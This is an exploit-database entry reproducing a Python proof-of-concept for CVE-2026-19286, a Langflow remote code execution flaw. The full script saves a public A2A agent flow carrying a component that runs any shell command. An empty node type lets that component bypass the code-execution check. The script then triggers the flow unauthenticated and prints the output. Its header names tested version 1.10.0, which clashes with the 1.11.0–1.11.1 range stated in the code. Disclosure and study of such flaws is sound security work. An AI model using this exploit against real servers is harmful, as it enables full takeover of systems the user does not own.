Exploit database

GH-adbd2bbb637e086a5f0fcab7f2727c33

rmhowe425/poc-cve-2026-19286

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-19286

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
rmhowe425/poc-cve-2026-19286Revision 84d505ee58a6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Suggested starting filePython · 10,722 bytes
# Exploit Title: Langflow AI unauthenticated RCE via A2A public endpoint
# Exploit Author: Richard Howe <[email protected]>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.10.0
# Tested on: Ubuntu 22.04
# CVE: CVE-2026-19286

import json
import sys
import time
import uuid
import argparse
import requests

TIMEOUT = 15


def validate_version(base_url: str) -> bool:
    """
    Validates Langflow version PoC is tested against.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.

    Returns
    -------
    True if detected version is correct, otherwise False.
    """
    try:
        r = requests.get(f"{base_url}/api/v1/version", timeout=TIMEOUT)
        r_json = r.json()
    except Exception as e:
        print(str(e))
        exit(1)

    if r.status_code != 200 or not r_json.get('version'):
        print("[!] Unable to retrieve Langflow version.")
        exit(1)

    # CVE-2026-19286 affects v1.11.0 and v1.11.1 (A2A introduced in v1.11.0, fixed in v1.11.2)
    version = r_json['version']
    vulnerable = version in ('1.11.0', '1.11.1')
    if not vulnerable:
        print(f"[!] Version {version} detected — CVE-2026-19286 affects v1.11.0–v1.11.1 only.")
    return vulnerable


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticates with Langflow instance (required only to save the flow).

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    username : str
        Username to authenticate with.
    password : str
        Password to authenticate with.

    Returns
    -------
    Langflow authentication header.
    """
    print(f"[+] Authenticating as {username}")

    try:
        r = requests.post(f"{base_url}/api/v1/login",
                          data={"username": username, "password": password},
                          timeout=TIMEOUT)
        r_json = r.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {str(e)}")

    if r.status_code != 200 or not r_json.get('access_token'):
        print(f"[!] Login failed: HTTP {r.status_code} - {r.text}")
        sys.exit(1)
    return {"Authorization": f"Bearer {r_json['access_token']}"}


def create_flow(base_url: str, auth: dict, command: str) -> str:
    """
    Saves a public A2A-enabled agent flow carrying the malicious node.

    The bypass: data.type = "" on the CustomComponent node causes
    validate_public_flow_no_code_execution() -> _collect_blocked_components()
    to evaluate `node_data.get("type") in blocked_types` as False (empty
    string is not in CODE_EXECUTION_COMPONENT_TYPES), so the node passes the
    security gate entirely and reaches exec() when the flow is built.

    Requires authentication only to save. The trigger is unauthenticated.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow auth headers.
    command : str
        OS command to execute.

    Returns
    -------
    Newly created flow ID.
    """
    node_id = "Exploit-001"
    MALICIOUS_CODE = (
        "import subprocess as _sp\n"
        "_out = _sp.check_output(" + repr(command) + ", shell=True, "
        "stderr=_sp.STDOUT).decode(errors='replace').strip()\n"
        "from langflow.custom import Component\n"
        "from langflow.io import Output\n"
        "from langflow.schema import Data\n"
        "class ExploitComp(Component):\n"
        '    display_name="ExploitComp"\n'
        '    outputs=[Output(display_name="O",name="o",method="r")]\n'
        "    def r(self)->Data:\n"
        "        return Data(data={'output':_out})\n"
        "raise ValueError(f'CVE-2026-19286 RCE: {_out}')\n"
    )
    flow = {
        "name": f"CVE-2026-19286-{uuid.uuid4().hex[:6]}",
        "description": "CVE-2026-19286 test - safe to delete",
        "flow_type": "agent",       # required: a2a_jsonrpc gates on flow_type == AGENT
        "a2a_enabled": True,        # required: exposes the flow on the A2A public endpoint
        "access_type": "PUBLIC",    # required: allows unauthenticated execution
        "data": {
            "nodes": [{
                "id": node_id, "type": "genericNode", "position": {"x": 0, "y": 0},
                "data": {
                    "id": node_id,
                    "type": "",     # <-- EMPTY STRING = CVE-2026-19286 bypass
                    "node": {
                        "template": {
                            "_type": "Component",
                            "code": {"type": "code", "required": True, "show": True,
                                     "multiline": True, "value": MALICIOUS_CODE,
                                     "name": "code", "password": False,
                                     "advanced": False, "dynamic": False}
                        },
                        "description": "ExploitComp", "base_classes": ["Data"],
                        "display_name": "ExploitComp", "name": "ExploitComp",
                        "frozen": False,
                        "outputs": [{"types": ["Data"], "selected": "Data", "name": "o",
                                     "display_name": "O", "method": "r",
                                     "value": "__UNDEFINED__", "cache": True,
                                     "allows_loop": False, "tool_mode": False,
                                     "hidden": None, "required_inputs": None,
                                     "group_outputs": False}],
                        "field_order": ["code"], "beta": False, "edited": False,
                    }
                }
            }],
            "edges": [],
        },
    }
    try:
        r = requests.post(f"{base_url}/api/v1/flows/", json=flow, headers=auth, timeout=TIMEOUT)
        r_json = r.json()
    except Exception as e:
        raise RuntimeError(f"Unable to create flow: {str(e)}")

    if r.status_code not in (200, 201) or not r_json.get('id'):
        print(f"[!] Flow creation failed: HTTP {r.status_code} - {r.text}")
        sys.exit(1)

    return r_json["id"]


def trigger_vuln(base_url: str, flow_id: str, command: str):
    """
    Triggers the vulnerability UNAUTHENTICATED via the A2A public endpoint.

    Sends a JSON-RPC message/send to POST /api/v1/a2a/{flow_id}/jsonrpc.
    No auth header. Langflow calls _prepare_a2a_execution_flow() which calls
    validate_public_flow_no_code_execution() — the "type": "" bypass causes
    _collect_blocked_components() to miss the malicious node, and exec() fires.

    Parameters
    ----------
    base_url : str
        URL of the Langflow instance.
    flow_id : str
        Unique identifier for the saved agent flow.
    command : str
        OS command being executed.
    """
    print(f"[+] Triggering unauthenticated A2A build: POST /api/v1/a2a/{flow_id}/jsonrpc")
    rpc_payload = {
        "jsonrpc": "2.0",
        "id": uuid.uuid4().hex,
        "method": "message/send",
        "params": {
            "message": {
                "messageId": uuid.uuid4().hex,   # required by A2A SendMessageRequest schema
                "role": "user",
                "parts": [{"type": "text", "text": "run"}]
            }
        }
    }
    try:
        r = requests.post(
            f"{base_url}/api/v1/a2a/{flow_id}/jsonrpc",
            json=rpc_payload,
            headers={"Content-Type": "application/json"},   # no auth header
            timeout=30,
        )
    except Exception as e:
        raise RuntimeError(f"Unable to trigger vulnerability: {str(e)}")

    if r.status_code == 404:
        print("RESULT: NOT VULNERABLE (A2A disabled or flow not found — LANGFLOW_A2A_ENABLED may be off)")
        return
    if r.status_code != 200:
        print(f"[!] RESULT: INCONCLUSIVE (unexpected HTTP {r.status_code})\n{r.text[:300]}")
        return

    resp = r.json()
    error = resp.get("error")
    if error:
        # Malformed request (e.g. missing messageId) — not a vulnerability result
        print(f"[!] RESULT: INCONCLUSIVE (JSON-RPC error: {error.get('message', '')})\n{error.get('data', '')[:300]}")
        return

    # Extract command output from the A2A result artifacts
    rce_out = None
    try:
        for artifact in resp.get("result", {}).get("artifacts", []):
            for part in artifact.get("parts", []):
                data = part.get("data", {})
                for val in data.values():
                    msg = val.get("message", {}) if isinstance(val, dict) else {}
                    if isinstance(msg, dict) and "output" in msg:
                        rce_out = msg["output"]
                        break
    except (KeyError, TypeError, AttributeError):
        pass

    output = f"\n[+] Command output:\n{rce_out}" if rce_out else "\n[!] No in-band output captured (exec() fired; check server logs)."
    print(f"\n{'='*60}\n[!] RESULT: VULNERABLE\n[!] CVE-2026-19286 IS exploitable on this server.\n[!] Command executed: {command}{output}\n{'='*60}")


def delete_flow(base_url: str, auth: dict, flow_id: str):
    """
    Deletes the agent flow used to trigger CVE-2026-19286.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow auth headers.
    flow_id : str
        Unique ID for flow.
    """
    try:
        requests.delete(f"{base_url}/api/v1/flows/{flow_id}", headers=auth, timeout=TIMEOUT)
    except Exception as e:
        print(f"\n[!] Flow cleanup failed: {e}")

    print(f"[*] Flow {flow_id} deleted.")


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-19286 — Langflow unauthenticated RCE via A2A public endpoint")
    parser.add_argument('-url', '--url', required=True, help="Target URL, e.g. http://192.168.1.30:7860")
    parser.add_argument('-uname', '--username', required=True, help="Langflow username (to save the flow)")
    parser.add_argument('-pword', '--password', required=True, help="Langflow password")
    parser.add_argument('-c', '--command', required=True, help="OS command to execute on the server")
    args = parser.parse_args()

    if not validate_version(base_url=args.url):
        exit(1)

    # Auth required only to save the malicious flow.
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)
    flow_id = create_flow(base_url=args.url, auth=auth, command=args.command)

    try:
        # Trigger is unauthenticated — exploits the A2A public endpoint.
        trigger_vuln(base_url=args.url, flow_id=flow_id, command=args.command)
    finally:
        delete_flow(base_url=args.url, auth=auth, flow_id=flow_id)


main()